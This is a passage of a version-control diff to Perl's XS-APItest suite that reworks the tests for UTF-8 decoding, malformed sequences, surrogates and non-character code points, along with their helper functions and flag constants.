-    is($ret_ref->[0], 0, "$testname: disallowed: Returns 0");
-    is($ret_ref->[1], $expected_len,
-       "$testname: utf8n_to_uvchr_error(), disallowed: Returns expected"
-     . " length: $expected_len");
-    if (is(scalar @warnings, 1,
-           "$testname: disallowed: Got a single warning "))
-    {
-        like($warnings[0], $message,
-             "$testname: disallowed: Got expected warning");
-    }
-    else {
-        if (scalar @warnings) {
-            output_warnings(@warnings);
-        }
-    }
-    is($ret_ref->[2], $expected_error_flags,
-       "$testname: utf8n_to_uvchr_error(), disallowed:"
-     . " Returns expected error");
-
-    {   # Next test when disallowed, and warnings are off.
-        undef @warnings;
-        no warnings 'utf8';
-        my $ret_ref = test_utf8n_to_uvchr_error($bytes, $length, 0);
-        is($ret_ref->[0], 0,
-           "$testname: utf8n_to_uvchr_error(), disallowed: no warnings 'utf8':"
-         . " Returns 0");
-        is($ret_ref->[1], $expected_len,
-           "$testname: utf8n_to_uvchr_error(), disallowed: no warnings 'utf8':"
-         . " Returns expected length: $expected_len");
-        if (!is(scalar @warnings, 0,
-            "$testname: utf8n_to_uvchr_error(), disallowed: no warnings 'utf8':"
-          . " no warnings generated"))
-        {
-            output_warnings(@warnings);
-        }
-        is($ret_ref->[2], $expected_error_flags,
-           "$testname: utf8n_to_uvchr_error(), disallowed: Returns"
-         . " expected error");
-    }
-
-    # Test with CHECK_ONLY
-    undef @warnings;
-    $ret_ref = test_utf8n_to_uvchr_error($bytes, $length, $::UTF8_CHECK_ONLY);
-    is($ret_ref->[0], 0, "$testname: CHECK_ONLY: Returns 0");
-    is($ret_ref->[1], -1, "$testname: CHECK_ONLY: returns -1 for length");
-    if (! is(scalar @warnings, 0,
-                               "$testname: CHECK_ONLY: no warnings generated"))
-    {
-        output_warnings(@warnings);
-    }
-    is($ret_ref->[2], $expected_error_flags,
-       "$testname: utf8n_to_uvchr_error(), disallowed: Returns expected"
-     . " error");
-
-    next if $allow_flags == 0;    # Skip if can't allow this malformation
-
-    # Test when the malformation is allowed
-    undef @warnings;
-    $ret_ref = test_utf8n_to_uvchr_error($bytes, $length, $allow_flags);
-    is($ret_ref->[0], $allowed_uv,
-       "$testname: utf8n_to_uvchr_error(), allowed: Returns expected uv: "
-     . sprintf("0x%04X", $allowed_uv));
-    is($ret_ref->[1], $expected_len,
-       "$testname: utf8n_to_uvchr_error(), allowed: Returns expected length:"
-     . " $expected_len");
-    if (!is(scalar @warnings, 0,
-            "$testname: utf8n_to_uvchr_error(), allowed: no warnings"
-          . " generated"))
-    {
-        output_warnings(@warnings);
-    }
-    is($ret_ref->[2], $expected_error_flags,
-       "$testname: utf8n_to_uvchr_error(), disallowed: Returns"
-     . " expected error");
-}
-
-done_testing;

Modified: vendor/perl/dist/ext/XS-APItest/t/utf8_setup.pl
===================================================================
--- vendor/perl/dist/ext/XS-APItest/t/utf8_setup.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/XS-APItest/t/utf8_setup.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -8,16 +8,28 @@
 
 sub isASCII { ord "A" == 65 }
 
-sub display_bytes {
+sub display_bytes_no_quotes {
     use bytes;
     my $string = shift;
-    return   '"'
-           . join("", map { sprintf("\\x%02x", ord $_) } split "", $string)
-           . '"';
+    return join("", map {
+                          ($_ =~ /[[:print:]]/)
+                          ? $_
+                          : sprintf("\\x%02x", ord $_)
+                        } split "", $string)
 }
 
+sub display_bytes {
+    return   '"' . display_bytes_no_quotes(shift) . '"';
+}
+
 sub output_warnings(@) {
-    diag "The warnings were:\n" . join("", @_);
+    my @list = @_;
+    if (@list) {
+        diag "The warnings were:\n" . join "\n", map { chomp; $_ } @list;
+    }
+    else {
+        diag "No warnings were raised";
+    }
 }
 
 sub start_byte_to_cont($) {
@@ -43,7 +55,7 @@
 
 $::is64bit = length sprintf("%x", ~0) > 8;
 
-$::first_continuation = (isASCII) ? 0x80 : 0xA0;
+$::lowest_continuation = (isASCII) ? 0x80 : 0xA0;
 
 $::I8c = (isASCII) ? "\x80" : "\xa0";    # A continuation byte
 
@@ -74,10 +86,12 @@
 $::UTF8_DISALLOW_SUPER         = 0x1000;
 $::UTF8_GOT_SUPER              = $UTF8_DISALLOW_SUPER;
 $::UTF8_WARN_SUPER             = 0x2000;
-$::UTF8_DISALLOW_ABOVE_31_BIT  = 0x4000;
-$::UTF8_GOT_ABOVE_31_BIT       = $UTF8_DISALLOW_ABOVE_31_BIT;
-$::UTF8_WARN_ABOVE_31_BIT      = 0x8000;
+$::UTF8_DISALLOW_PERL_EXTENDED  = 0x4000;
+$::UTF8_GOT_PERL_EXTENDED       = $UTF8_DISALLOW_PERL_EXTENDED;
+$::UTF8_WARN_PERL_EXTENDED      = 0x8000;
 $::UTF8_CHECK_ONLY             = 0x10000;
+$::UTF8_NO_CONFIDENCE_IN_CURLEN_ = 0x20000;
+
 $::UTF8_DISALLOW_ILLEGAL_C9_INTERCHANGE
                              = $UTF8_DISALLOW_SUPER|$UTF8_DISALLOW_SURROGATE;
 $::UTF8_DISALLOW_ILLEGAL_INTERCHANGE
@@ -91,8 +105,8 @@
 $::UNICODE_WARN_SURROGATE        = 0x0001;
 $::UNICODE_WARN_NONCHAR          = 0x0002;
 $::UNICODE_WARN_SUPER            = 0x0004;
-$::UNICODE_WARN_ABOVE_31_BIT     = 0x0008;
+$::UNICODE_WARN_PERL_EXTENDED     = 0x0008;
 $::UNICODE_DISALLOW_SURROGATE    = 0x0010;
 $::UNICODE_DISALLOW_NONCHAR      = 0x0020;
 $::UNICODE_DISALLOW_SUPER        = 0x0040;
-$::UNICODE_DISALLOW_ABOVE_31_BIT = 0x0080;
+$::UNICODE_DISALLOW_PERL_EXTENDED = 0x0080;

Added: vendor/perl/dist/ext/XS-APItest/t/utf8_to_bytes.t
===================================================================
--- vendor/perl/dist/ext/XS-APItest/t/utf8_to_bytes.t	                        (rev 0)
+++ vendor/perl/dist/ext/XS-APItest/t/utf8_to_bytes.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,68 @@
+#!perl -w
+
+# This is a base file to be used by various .t's in its directory
+# It tests various malformed UTF-8 sequences and some code points that are
+# "problematic", and verifies that the correct warnings/flags etc are
+# generated when using them.  For the code points, it also takes the UTF-8 and
+# perturbs it to be malformed in various ways, and tests that this gets
+# appropriately detected.
+
+use strict;
+use Test::More;
+
+BEGIN {
+    require './t/utf8_setup.pl';
+    use_ok('XS::APItest');
+};
+
+$|=1;
+
+use Data::Dumper;
+
+my @well_formed = (
+            "\xE1",
+            "The quick brown fox jumped over the lazy dog",
+            "Ces systèmes de codage sont souvent incompatibles entre eux.  Ainsi, deux systèmes peuvent utiliser le même nombre pour deux caractères différents ou utiliser différents nombres pour le même caractère.",
+            "Kelimelerin m\xC3\xAAme caract\xC3\xA8re ve yaz\xC3\xB1abc",
+);
+
+my @malformed = (
+            "Kelimelerin m\xC3\xAAme caract\xC3\xA8re ve yaz\xC4\xB1abc",
+            "Kelimelerin m\xC3\xAAme caract\xC3\xA8re ve yaz\xC4\xB1\xC3\xA8abc",
+            "Kelimelerin m\xC3\xAAme caract\xC3re ve yazi\xC3\xA8abc",
+            "Kelimelerin m\xC3\xAAme caract\xA8 ve yazi\xC3\xA8abc",
+            "Kelimelerin m\xC3\xAAme caract\xC3\xA8\xC3re ve yazi\xC3\xA8abc",
+);
+
+for my $test (@well_formed) {
+    my $utf8 = $test;
+    utf8::upgrade($utf8);
+    my $utf8_length;
+    my $byte_length = length $test;
+
+    {
+        use bytes;
+        $utf8_length = length $utf8;
+    }
+
+    my $ret_ref = test_utf8_to_bytes($utf8, $utf8_length);
+
+    is ($ret_ref->[0], $test, "Successfully downgraded "
+                            . display_bytes($utf8));
+    is ($ret_ref->[1], $byte_length, "... And returned correct length("
+                                     . $byte_length . ")");
+}
+
+for my $test (@malformed) {
+    my $utf8 = $test;
+    my $utf8_length = length $test;
+
+    my $ret_ref = test_utf8_to_bytes($utf8, $utf8_length);
+
+    ok (! defined $ret_ref->[0], "Returned undef for malformed "
+                                . display_bytes($utf8));
+    is ($ret_ref->[1], -1, "... And returned length -1");
+    is ($ret_ref->[2], $utf8, "... And left the input unchanged");
+}
+
+done_testing();

Deleted: vendor/perl/dist/ext/XS-APItest/t/utf8_warn0.t
===================================================================
--- vendor/perl/dist/ext/XS-APItest/t/utf8_warn0.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/XS-APItest/t/utf8_warn0.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,7 +0,0 @@
-use strict;
-use warnings;
-no warnings 'once';
-
-$::TEST_CHUNK = 0;
-
-do './t/utf8_warn_base.pl';

Added: vendor/perl/dist/ext/XS-APItest/t/utf8_warn00.t
===================================================================
--- vendor/perl/dist/ext/XS-APItest/t/utf8_warn00.t	                        (rev 0)
+++ vendor/perl/dist/ext/XS-APItest/t/utf8_warn00.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,7 @@
+use strict;
+use warnings;
+no warnings 'once';
+
+$::TEST_CHUNK = 0;
+
+do './t/utf8_warn_base.pl';

Added: vendor/perl/dist/ext/XS-APItest/t/utf8_warn01.t
===================================================================
--- vendor/perl/dist/ext/XS-APItest/t/utf8_warn01.t	                        (rev 0)
+++ vendor/perl/dist/ext/XS-APItest/t/utf8_warn01.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,7 @@
+use strict;
+use warnings;
+no warnings 'once';
+
+$::TEST_CHUNK = 1;
+
+do './t/utf8_warn_base.pl';

Added: vendor/perl/dist/ext/XS-APItest/t/utf8_warn02.t
===================================================================
--- vendor/perl/dist/ext/XS-APItest/t/utf8_warn02.t	                        (rev 0)
+++ vendor/perl/dist/ext/XS-APItest/t/utf8_warn02.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,7 @@
+use strict;
+use warnings;
+no warnings 'once';
+
+$::TEST_CHUNK = 2;
+
+do './t/utf8_warn_base.pl';

Added: vendor/perl/dist/ext/XS-APItest/t/utf8_warn03.t
===================================================================
--- vendor/perl/dist/ext/XS-APItest/t/utf8_warn03.t	                        (rev 0)
+++ vendor/perl/dist/ext/XS-APItest/t/utf8_warn03.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,7 @@
+use strict;
+use warnings;
+no warnings 'once';
+
+$::TEST_CHUNK = 3;
+
+do './t/utf8_warn_base.pl';

Added: vendor/perl/dist/ext/XS-APItest/t/utf8_warn04.t
===================================================================
--- vendor/perl/dist/ext/XS-APItest/t/utf8_warn04.t	                        (rev 0)
+++ vendor/perl/dist/ext/XS-APItest/t/utf8_warn04.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,7 @@
+use strict;
+use warnings;
+no warnings 'once';
+
+$::TEST_CHUNK = 4;
+
+do './t/utf8_warn_base.pl';

Added: vendor/perl/dist/ext/XS-APItest/t/utf8_warn05.t
===================================================================
--- vendor/perl/dist/ext/XS-APItest/t/utf8_warn05.t	                        (rev 0)
+++ vendor/perl/dist/ext/XS-APItest/t/utf8_warn05.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,7 @@
+use strict;
+use warnings;
+no warnings 'once';
+
+$::TEST_CHUNK = 5;
+
+do './t/utf8_warn_base.pl';

Added: vendor/perl/dist/ext/XS-APItest/t/utf8_warn06.t
===================================================================
--- vendor/perl/dist/ext/XS-APItest/t/utf8_warn06.t	                        (rev 0)
+++ vendor/perl/dist/ext/XS-APItest/t/utf8_warn06.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,7 @@
+use strict;
+use warnings;
+no warnings 'once';
+
+$::TEST_CHUNK = 6;
+
+do './t/utf8_warn_base.pl';

Added: vendor/perl/dist/ext/XS-APItest/t/utf8_warn07.t
===================================================================
--- vendor/perl/dist/ext/XS-APItest/t/utf8_warn07.t	                        (rev 0)
+++ vendor/perl/dist/ext/XS-APItest/t/utf8_warn07.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,7 @@
+use strict;
+use warnings;
+no warnings 'once';
+
+$::TEST_CHUNK = 7;
+
+do './t/utf8_warn_base.pl';

Added: vendor/perl/dist/ext/XS-APItest/t/utf8_warn08.t
===================================================================
--- vendor/perl/dist/ext/XS-APItest/t/utf8_warn08.t	                        (rev 0)
+++ vendor/perl/dist/ext/XS-APItest/t/utf8_warn08.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,7 @@
+use strict;
+use warnings;
+no warnings 'once';
+
+$::TEST_CHUNK = 8;
+
+do './t/utf8_warn_base.pl';

Added: vendor/perl/dist/ext/XS-APItest/t/utf8_warn09.t
===================================================================
--- vendor/perl/dist/ext/XS-APItest/t/utf8_warn09.t	                        (rev 0)
+++ vendor/perl/dist/ext/XS-APItest/t/utf8_warn09.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,7 @@
+use strict;
+use warnings;
+no warnings 'once';
+
+$::TEST_CHUNK = 9;
+
+do './t/utf8_warn_base.pl';

Deleted: vendor/perl/dist/ext/XS-APItest/t/utf8_warn1.t
===================================================================
--- vendor/perl/dist/ext/XS-APItest/t/utf8_warn1.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/XS-APItest/t/utf8_warn1.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,7 +0,0 @@
-use strict;
-use warnings;
-no warnings 'once';
-
-$::TEST_CHUNK = 1;
-
-do './t/utf8_warn_base.pl';

Deleted: vendor/perl/dist/ext/XS-APItest/t/utf8_warn2.t
===================================================================
--- vendor/perl/dist/ext/XS-APItest/t/utf8_warn2.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/XS-APItest/t/utf8_warn2.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,7 +0,0 @@
-use strict;
-use warnings;
-no warnings 'once';
-
-$::TEST_CHUNK = 2;
-
-do './t/utf8_warn_base.pl';

Deleted: vendor/perl/dist/ext/XS-APItest/t/utf8_warn3.t
===================================================================
--- vendor/perl/dist/ext/XS-APItest/t/utf8_warn3.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/XS-APItest/t/utf8_warn3.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,7 +0,0 @@
-use strict;
-use warnings;
-no warnings 'once';
-
-$::TEST_CHUNK = 3;
-
-do './t/utf8_warn_base.pl';

Deleted: vendor/perl/dist/ext/XS-APItest/t/utf8_warn4.t
===================================================================
--- vendor/perl/dist/ext/XS-APItest/t/utf8_warn4.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/XS-APItest/t/utf8_warn4.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,7 +0,0 @@
-use strict;
-use warnings;
-no warnings 'once';
-
-$::TEST_CHUNK = 4;
-
-do './t/utf8_warn_base.pl';

Deleted: vendor/perl/dist/ext/XS-APItest/t/utf8_warn5.t
===================================================================
--- vendor/perl/dist/ext/XS-APItest/t/utf8_warn5.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/XS-APItest/t/utf8_warn5.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,7 +0,0 @@
-use strict;
-use warnings;
-no warnings 'once';
-
-$::TEST_CHUNK = 5;
-
-do './t/utf8_warn_base.pl';

Deleted: vendor/perl/dist/ext/XS-APItest/t/utf8_warn6.t
===================================================================
--- vendor/perl/dist/ext/XS-APItest/t/utf8_warn6.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/XS-APItest/t/utf8_warn6.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,7 +0,0 @@
-use strict;
-use warnings;
-no warnings 'once';
-
-$::TEST_CHUNK = 6;
-
-do './t/utf8_warn_base.pl';

Deleted: vendor/perl/dist/ext/XS-APItest/t/utf8_warn7.t
===================================================================
--- vendor/perl/dist/ext/XS-APItest/t/utf8_warn7.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/XS-APItest/t/utf8_warn7.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,7 +0,0 @@
-use strict;
-use warnings;
-no warnings 'once';
-
-$::TEST_CHUNK = 7;
-
-do './t/utf8_warn_base.pl';

Deleted: vendor/perl/dist/ext/XS-APItest/t/utf8_warn8.t
===================================================================
--- vendor/perl/dist/ext/XS-APItest/t/utf8_warn8.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/XS-APItest/t/utf8_warn8.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,7 +0,0 @@
-use strict;
-use warnings;
-no warnings 'once';
-
-$::TEST_CHUNK = 8;
-
-do './t/utf8_warn_base.pl';

Deleted: vendor/perl/dist/ext/XS-APItest/t/utf8_warn9.t
===================================================================
--- vendor/perl/dist/ext/XS-APItest/t/utf8_warn9.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/XS-APItest/t/utf8_warn9.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,7 +0,0 @@
-use strict;
-use warnings;
-no warnings 'once';
-
-$::TEST_CHUNK = 9;
-
-do './t/utf8_warn_base.pl';

Modified: vendor/perl/dist/ext/XS-APItest/t/utf8_warn_base.pl
===================================================================
--- vendor/perl/dist/ext/XS-APItest/t/utf8_warn_base.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/XS-APItest/t/utf8_warn_base.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,11 @@
 #!perl -w
 
 # This is a base file to be used by various .t's in its directory
+# It tests various malformed UTF-8 sequences and some code points that are
+# "problematic", and verifies that the correct warnings/flags etc are
+# generated when using them.  For the code points, it also takes the UTF-8 and
+# perturbs it to be malformed in various ways, and tests that this gets
+# appropriately detected.
 
 use strict;
 use Test::More;
@@ -13,1040 +18,1855 @@
 
 $|=1;
 
-no warnings 'deprecated'; # Some of the below are above IV_MAX on 32 bit
-                          # machines, and that is tested elsewhere
-
 use XS::APItest;
-use Data::Dumper;
 
-my @warnings;
+my @warnings_gotten;
 
 use warnings 'utf8';
-local $SIG{__WARN__} = sub { push @warnings, @_ };
+local $SIG{__WARN__} = sub { my @copy = @_;
+                             push @warnings_gotten, map { chomp; $_ } @copy;
+                           };
 
-sub nonportable_regex ($) {
+my $highest_non_extended_utf8_cp = (isASCII) ? 0x7FFFFFFF : 0x3FFFFFFF;
+my $native_lowest_continuation_chr = I8_to_native(chr $::lowest_continuation);
 
-    # Returns a pattern that matches the non-portable message raised either
-    # for the specific input code point, or the one generated when there
-    # is some malformation that precludes the message containing the specific
-    # code point
+# C5 is chosen as it is valid for both ASCII and EBCDIC platforms
+my $known_start_byte = I8_to_native("\xC5");
 
-    my $code_point = shift;
+sub requires_extended_utf8($) {
 
-    my $string = sprintf '(Code point 0x%X is not Unicode, and'
-                       . '|Any UTF-8 sequence that starts with'
-                       . ' "(\\\x[[:xdigit:]]{2})+" is for a'
-                       . ' non-Unicode code point, and is) not portable',
-                    $code_point;
-    return qr/$string/;
+    # Returns a boolean as to whether or not the code point parameter fits
+    # into 31 bits, subject to the convention that a negative code point
+    # stands for one that overflows the word size, so won't fit in 31 bits.
+
+    return shift > $highest_non_extended_utf8_cp;
 }
 
-# Now test the cases where a legal code point is generated, but may or may not
-# be allowed/warned on.
-my @tests = (
-     # ($testname, $bytes, $warn_flags, $disallow_flags, $expected_error_flags,
-     #  $category, $allowed_uv, $expected_len, $needed_to_discern_len, $message )
-    [ "lowest surrogate",
-        (isASCII) ? "\xed\xa0\x80" : I8_to_native("\xf1\xb6\xa0\xa0"),
-        $::UTF8_WARN_SURROGATE, $::UTF8_DISALLOW_SURROGATE, $::UTF8_GOT_SURROGATE,
-        'surrogate', 0xD800,
-        (isASCII) ? 3 : 4,
-        2,
-        qr/surrogate/
-    ],
-    [ "a middle surrogate",
-        (isASCII) ? "\xed\xa4\x8d" : I8_to_native("\xf1\xb6\xa8\xad"),
-        $::UTF8_WARN_SURROGATE, $::UTF8_DISALLOW_SURROGATE, $::UTF8_GOT_SURROGATE,
-        'surrogate', 0xD90D,
-        (isASCII) ? 3 : 4,
-        2,
-        qr/surrogate/
-    ],
-    [ "highest surrogate",
-        (isASCII) ? "\xed\xbf\xbf" : I8_to_native("\xf1\xb7\xbf\xbf"),
-        $::UTF8_WARN_SURROGATE, $::UTF8_DISALLOW_SURROGATE, $::UTF8_GOT_SURROGATE,
-        'surrogate', 0xDFFF,
-        (isASCII) ? 3 : 4,
-        2,
-        qr/surrogate/
-    ],
-    [ "first non_unicode",
-        (isASCII) ? "\xf4\x90\x80\x80" : I8_to_native("\xf9\xa2\xa0\xa0\xa0"),
-        $::UTF8_WARN_SUPER, $::UTF8_DISALLOW_SUPER, $::UTF8_GOT_SUPER,
-        'non_unicode', 0x110000,
-        (isASCII) ? 4 : 5,
-        2,
-        qr/(not Unicode|for a non-Unicode code point).* may not be portable/
-    ],
-    [ "non_unicode whose first byte tells that",
-        (isASCII) ? "\xf5\x80\x80\x80" : I8_to_native("\xfa\xa0\xa0\xa0\xa0"),
-        $::UTF8_WARN_SUPER, $::UTF8_DISALLOW_SUPER, $::UTF8_GOT_SUPER,
-        'non_unicode',
-        (isASCII) ? 0x140000 : 0x200000,
-        (isASCII) ? 4 : 5,
-        1,
-        qr/(not Unicode|for a non-Unicode code point).* may not be portable/
-    ],
-    [ "first of 32 consecutive non-character code points",
-        (isASCII) ? "\xef\xb7\x90" : I8_to_native("\xf1\xbf\xae\xb0"),
-        $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR,
-        'nonchar', 0xFDD0,
-        (isASCII) ? 3 : 4,
-        (isASCII) ? 3 : 4,
-        qr/Unicode non-character.*is not recommended for open interchange/
-    ],
-    [ "a mid non-character code point of the 32 consecutive ones",
-        (isASCII) ? "\xef\xb7\xa0" : I8_to_native("\xf1\xbf\xaf\xa0"),
-        $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR,
-        'nonchar', 0xFDE0,
-        (isASCII) ? 3 : 4,
-        (isASCII) ? 3 : 4,
-        qr/Unicode non-character.*is not recommended for open interchange/
-    ],
-    [ "final of 32 consecutive non-character code points",
-        (isASCII) ? "\xef\xb7\xaf" : I8_to_native("\xf1\xbf\xaf\xaf"),
-        $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR,
-        'nonchar', 0xFDEF,
-        (isASCII) ? 3 : 4,
-        (isASCII) ? 3 : 4,
-        qr/Unicode non-character.*is not recommended for open interchange/
-    ],
-    [ "non-character code point U+FFFE",
-        (isASCII) ? "\xef\xbf\xbe" : I8_to_native("\xf1\xbf\xbf\xbe"),
-        $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR,
-        'nonchar', 0xFFFE,
-        (isASCII) ? 3 : 4,
-        (isASCII) ? 3 : 4,
-        qr/Unicode non-character.*is not recommended for open interchange/
-    ],
-    [ "non-character code point U+FFFF",
-        (isASCII) ? "\xef\xbf\xbf" : I8_to_native("\xf1\xbf\xbf\xbf"),
-        $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR,
-        'nonchar', 0xFFFF,
-        (isASCII) ? 3 : 4,
-        (isASCII) ? 3 : 4,
-        qr/Unicode non-character.*is not recommended for open interchange/
-    ],
-    [ "non-character code point U+1FFFE",
-        (isASCII) ? "\xf0\x9f\xbf\xbe" : I8_to_native("\xf3\xbf\xbf\xbe"),
-        $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR,
-        'nonchar', 0x1FFFE,
-        4, 4,
-        qr/Unicode non-character.*is not recommended for open interchange/
-    ],
-    [ "non-character code point U+1FFFF",
-        (isASCII) ? "\xf0\x9f\xbf\xbf" : I8_to_native("\xf3\xbf\xbf\xbf"),
-        $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR,
-        'nonchar', 0x1FFFF,
-        4, 4,
-        qr/Unicode non-character.*is not recommended for open interchange/
-    ],
-    [ "non-character code point U+2FFFE",
-        (isASCII) ? "\xf0\xaf\xbf\xbe" : I8_to_native("\xf5\xbf\xbf\xbe"),
-        $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR,
-        'nonchar', 0x2FFFE,
-        4, 4,
-        qr/Unicode non-character.*is not recommended for open interchange/
-    ],
-    [ "non-character code point U+2FFFF",
-        (isASCII) ? "\xf0\xaf\xbf\xbf" : I8_to_native("\xf5\xbf\xbf\xbf"),
-        $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR,
-        'nonchar', 0x2FFFF,
-        4, 4,
-        qr/Unicode non-character.*is not recommended for open interchange/
-    ],
-    [ "non-character code point U+3FFFE",
-        (isASCII) ? "\xf0\xbf\xbf\xbe" : I8_to_native("\xf7\xbf\xbf\xbe"),
-        $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR,
-        'nonchar', 0x3FFFE,
-        4, 4,
-        qr/Unicode non-character.*is not recommended for open interchange/
-    ],
-    [ "non-character code point U+3FFFF",
-        (isASCII) ? "\xf0\xbf\xbf\xbf" : I8_to_native("\xf7\xbf\xbf\xbf"),
-        $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR,
-        'nonchar', 0x3FFFF,
-        4, 4,
-        qr/Unicode non-character.*is not recommended for open interchange/
-    ],
-    [ "non-character code point U+4FFFE",
-        (isASCII) ? "\xf1\x8f\xbf\xbe" : I8_to_native("\xf8\xa9\xbf\xbf\xbe"),
-        $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR,
-        'nonchar', 0x4FFFE,
-        (isASCII) ? 4 : 5,
-        (isASCII) ? 4 : 5,
-        qr/Unicode non-character.*is not recommended for open interchange/
-    ],
-    [ "non-character code point U+4FFFF",
-        (isASCII) ? "\xf1\x8f\xbf\xbf" : I8_to_native("\xf8\xa9\xbf\xbf\xbf"),
-        $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR,
-        'nonchar', 0x4FFFF,
-        (isASCII) ? 4 : 5,
-        (isASCII) ? 4 : 5,
-        qr/Unicode non-character.*is not recommended for open interchange/
-    ],
-    [ "non-character code point U+5FFFE",
-        (isASCII) ? "\xf1\x9f\xbf\xbe" : I8_to_native("\xf8\xab\xbf\xbf\xbe"),
-        $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR,
-        'nonchar', 0x5FFFE,
-        (isASCII) ? 4 : 5,
-        (isASCII) ? 4 : 5,
-        qr/Unicode non-character.*is not recommended for open interchange/
-    ],
-    [ "non-character code point U+5FFFF",
-        (isASCII) ? "\xf1\x9f\xbf\xbf" : I8_to_native("\xf8\xab\xbf\xbf\xbf"),
-        $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR,
-        'nonchar', 0x5FFFF,
-        (isASCII) ? 4 : 5,
-        (isASCII) ? 4 : 5,
-        qr/Unicode non-character.*is not recommended for open interchange/
-    ],
-    [ "non-character code point U+6FFFE",
-        (isASCII) ? "\xf1\xaf\xbf\xbe" : I8_to_native("\xf8\xad\xbf\xbf\xbe"),
-        $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR,
-        'nonchar', 0x6FFFE,
-        (isASCII) ? 4 : 5,
-        (isASCII) ? 4 : 5,
-        qr/Unicode non-character.*is not recommended for open interchange/
-    ],
-    [ "non-character code point U+6FFFF",
-        (isASCII) ? "\xf1\xaf\xbf\xbf" : I8_to_native("\xf8\xad\xbf\xbf\xbf"),
-        $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR,
-        'nonchar', 0x6FFFF,
-        (isASCII) ? 4 : 5,
-        (isASCII) ? 4 : 5,
-        qr/Unicode non-character.*is not recommended for open interchange/
-    ],
-    [ "non-character code point U+7FFFE",
-        (isASCII) ? "\xf1\xbf\xbf\xbe" : I8_to_native("\xf8\xaf\xbf\xbf\xbe"),
-        $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR,
-        'nonchar', 0x7FFFE,
-        (isASCII) ? 4 : 5,
-        (isASCII) ? 4 : 5,
-        qr/Unicode non-character.*is not recommended for open interchange/
-    ],
-    [ "non-character code point U+7FFFF",
-        (isASCII) ? "\xf1\xbf\xbf\xbf" : I8_to_native("\xf8\xaf\xbf\xbf\xbf"),
-        $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR,
-        'nonchar', 0x7FFFF,
-        (isASCII) ? 4 : 5,
-        (isASCII) ? 4 : 5,
-        qr/Unicode non-character.*is not recommended for open interchange/
-    ],
-    [ "non-character code point U+8FFFE",
-        (isASCII) ? "\xf2\x8f\xbf\xbe" : I8_to_native("\xf8\xb1\xbf\xbf\xbe"),
